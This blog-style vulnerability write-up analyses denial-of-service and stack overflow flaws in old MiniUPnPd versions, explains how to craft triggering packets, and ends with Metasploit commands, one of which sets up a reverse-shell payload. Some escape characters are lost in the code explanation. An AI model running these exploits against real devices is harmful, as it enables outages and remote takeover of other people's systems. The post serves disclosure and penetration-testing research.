MiniUPnPd Analysis and Exploitation

UPnP Summary

Universal Plug and Play (UPnP) is a network protocol that allows seamless discovery of network devices in order to communicate with each other. The UPnP daemons are enabled by default on various devices like routers, printers, smart TVs, etc. UPnP daemon is listening on UDP port 1900 and can expose the SOAP interface to the client. The problem is that there are various vulnerabilities present in UPnP daemon executables as well as the libraries they use which the attacker can use to exploit the target.

We have based our research upon the work of the Rapid7 team, which already provided their contribution to the community with the PDF document accessible on the Internet [1]. We specifically analyzed the MiniUPnPd daemon program and provided PoC Metasploit modules that can exploit present vulnerabilities in older versions of MiniUPnPd. Rapid7 team also addressed the issue of devices exposing SOAP services on the WAN interface. Because of that, we wrote a tool called SatUPnP [2]. Our motivation was to write a similar tool like Miranda [3], but with the ability to test UPnP-enabled devices not only on LAN but also accessible over WAN. The tool does what it promises but should probably be improved with the help of the community. You can use and redistribute the tool and use it in your penetration tests.

UPnP Usage and Statistics

Since we’re focused on the MiniUPnPd implementation of the UPnP protocol only we were interested in the version distribution of the MiniUPnPd server programs across the Internet. The MiniUPnPd server currently has nine versions, from 1.0 to 1.8. We used the Shodan search engine to get the percentage of each and every version used today. The results are shown in the graph below.

Update: we received a tip from the HD Moore that the MiniUPnP 1.1 reported itself as 1.0 which is also the reason for the high percentage on the picture above.

Please note that versions 1.7 and 1.8 are not shown, because their percentages are too small (or even zero) to be presented on the graph. We can see that the majority of the devices use MiniUPnPd version 1.0/1.1 (71.5%). This is exactly why we focused on that version of the MiniUPnPd implementation. Let’s first present how the MiniUPnPd version 1.0 is correlated between different operating systems. Shodan search engine was again used to determine the percentages which are presented in the picture below.

A description...

We can see that the majority of the percentage belongs to Linux 2.4.22, which is identified by Shodan as “Linux/2.4.22-1.2115.nptl”. After that, the Debian Linux distribution is following in second place. But other distributions are also present, like MIPS Linux/2.4, Fedora, and OpenWRT. Shodan search engine can also differentiate between different versions of Debian, Fedora, and OpenWRT systems that use MiniUPnPd daemon version 1.0. The pictures below present the percentage distribution of different versions of the OpenWRT, Debian, and Fedora operating systems.

A description...A description...A description...

MiniUPnPd Vulnerabilities

MiniUPnPd is one of the vulnerable daemon implementations which provides a complete UPnP solution as well as IPTables firewall management and a SOAP HTTP service. We already saw that there are multiple versions of the MiniUPnPd implementation the oldest of them being 1.0 which is dominantly being used by many of the devices today.

MiniUpnPd: Denial of Service Vulnerability

A denial of service vulnerability exists in the MiniUPnPd version up until 1.4 which can be used to crash the process, thus making the UPnP service inaccessible. The Rapid7 document accessible at [1] specifies that the vulnerability is present in the minissdp.c file in the ProcessSSDPRequest() function.

The picture below [1] clearly presents the CVE-2013-0229 vulnerability, which an attacker can use to cause a denial of service. The ProcessSSDPRequest() function takes a socket s as an input parameter. Then it reads at most 1500 bytes from a socket in a recvfrom function call. The first part of the data received in the socket needs to be “M-SEARCH”, so the vulnerable code is accessed. The first yellow block presents the code that scans received input data for ‘ ‘ or ‘ ‘ characters, which means the code is effectively reading and processing line by line. The second yellow code block is reached when the if the condition is evaluated to true, which happens when the beginning of the line is equal to “st:” string; the case of the string is ignored, so a case insensitive comparison is used. The first while loop in the second yellow code block scans the input data after the “st:” string for any occurrence of space or tab characters. If it finds one, it continues with the scanning until some other character is detected, upon which it enters the second while loop, where the program scans the rest of the input data looking for ‘ ‘ or ‘ ‘ characters. It continues the scanning until either one of those characters is found when it finishes and quits.

A description...

The picture below presents the normal packet that can be sent to the MiniUPnPd 1.0 daemon. We can see that the packet starts with the string “M-SEARCH” as it should for the vulnerability to be reached. The first yellow while block then searches for the CRLF characters presented in blue to process each line separately. The packet also specifies the Host HTTP header, which specifies the multicast address, and the ST HTTP header whose value is used to trigger a vulnerability. The picture below presents the normal packet that can be sent to the MiniUPnP 1.0 daemon.

A description...

The next picture [1] presents the analysis of the code that leads to the vulnerability in question. As it was already identified by the Rapid7 team, the DoS condition can happen in the first yellow code block if the initial packet doesn’t contain nor the ‘ ‘ nor the ‘ ‘ characters. The while loop will read the value from the memory until such character is found, which can lead to a crash because the code could attempt to read the memory address that is not in the program’s jurisdiction. But there’s a greater chance that the second yellow block will trigger the vulnerability, which is why we’ll focus on that.

A description...

Let’s examine what happens if we specifically craft the purple part of the packet above. Since we can control only the first 1500 bytes of the input data (as a whole), we need to fill the purple data block with either spaces or tabs, so the first while loop will continue past the end of the input packet. If you carefully look at the picture above, you can see that we didn’t include the ending characters because that would defeat the purpose and the vulnerability will not be triggered. The second while loop is then searching for either the character ‘ ‘ or ‘t’ in the memory after the purple input data, which is not what the code intended to achieve. If the program doesn’t find the ‘ ‘ or ‘t’ characters in subsequent memory, it can cause the process to crash, because it will try to read from a memory address that isn’t controlled by the process itself. The important thing to remember is that we should maximize our chances of success by sending the 1500 bytes packet to the target, where the purple block is filled with spaces or tabs.

MiniUPnP: Stack Overflow Vulnerability

Stack overflow vulnerability exists in the MiniUPnPd version 1.0, which can be used to execute arbitrary code on a vulnerable machine. The Rapid7 document [1] specifies that the vulnerability is present in the upnphttp.c. file in the ExecuteSoapAction() function as seen below.

A description...

Let’s take a look at an example packet that can be sent to the MiniUPnPd daemon. The picture below presents such a packet where the POST HTTP method is used to send some data to the SOAP service. The Host HTTP header specifies that the packet is unicast, so it’s only sent to one recipient on port 5555, which accepts SOAP messages. At the end of the packet, there is the SOAP data that is being used to request an action from the server. The purple part of the packet is the one that can use stack overflow vulnerability to be triggered.

For the vulnerable function to be reached we need to specify the SOAPAction HTTP header which is colored in green on the picture above. The purple field is its value and specifies the action pointer parameter that gets passed to the ExecuteSoapAction() function. In the first yellow code block, we’re scanning the purple field for the ‘#’ and the ‘”‘ characters. The while loop is looking for a valid method name and if it finds one it returns, so the second yellow code block is never be reached. This is why we must ensure that the while loop doesn’t find a valid method name. After the while loop, the memset function initializes the method array to zeros and memcpy copies the methodlen bytes after the character ‘#’ in action to the method array. The methodlen is the number of bytes from the character ‘#’ to the character ‘”‘. All this can be easily seen in the picture below [1].

stack

The stack overflow vulnerability is triggered if we supply more than 2048 characters after the character ‘#’ and before the character ‘”‘ in the SOAP action. This will effectively copy that many bytes to the array method which can only accept 2048 bytes of data. If we specifically craft the data we can execute arbitrary code on the target device.

Results

We have written two Metasploit modules for described vulnerabilities. They are already available in the Metasploit repository. If you want to check them out you have to run msfupdate command which will update Metasploit to the latest version. To use the modules you have to enter the commands presented below.

To cause denial of service on a vulnerable MiniUPnPd server run the following commands:

> use auxiliary/dos/upnp/miniupnpd_dos msf auxiliary(miniupnpd_dos) > set RHOST [TARGET IP] msf auxiliary(miniupnpd_dos) > set RPORT [TARGET PORT] msf auxiliary(miniupnpd_dos) > exploit

To gain code execution on vulnerable MiniUPnPd server run the following commands:

msf > use exploit/linux/upnp/miniupnpd_soap_bof msf exploit(miniupnpd_soap_bof) > show payloads msf exploit(miniupnpd_soap_bof) > set PAYLOAD generic/shell_reverse_tcp msf exploit(miniupnpd_soap_bof) > set LHOST [MY IP ADDRESS] msf exploit(miniupnpd_soap_bof) > set RHOST [TARGET IP] msf exploit(miniupnpd_soap_bof) > exploit

That should be it. Experiment with the modules and try it on your own MiniUPnPd server. Keep in mind that for security reasons we only disclosed Metasploit modules that work on Debian Linux operating system.

Conclusion

In this document, we’ve seen that exploiting known vulnerabilities in software products is relatively easy. We managed to write two working Metasploit modules in a relatively short period of time with no prior knowledge of neither the UPnP protocol nor the MiniUPnPd daemon implementation. Since there are a large amount of vulnerable MiniUPnPd daemons currently accessible on the Internet an attacker can easily write an exploit to gain code execution on those devices or at least DoS the devices which will make the UPnP unavailable causing different annoyances.

The purpose of this document was not to provide an attacker with exploits that can be leveraged in the wild which is why we provided only PoC of the stack overflow vulnerability on Debian 6 systems which are relatively rare. But the DoS exploitation module should work on all devices that run the MiniUPnPd daemon version lower than 1.4.

References

[1] Rapid7 Team, Security Flaws in Universal Plug and Play, accessible at https://community.rapid7.com/servlet/JiveServlet/download/2150-1-16596/SecurityFlawsUPnP.pdf

[2] https://github.com/viris/upnp-scripts

[3] https://code.google.com/p/miranda-upnp/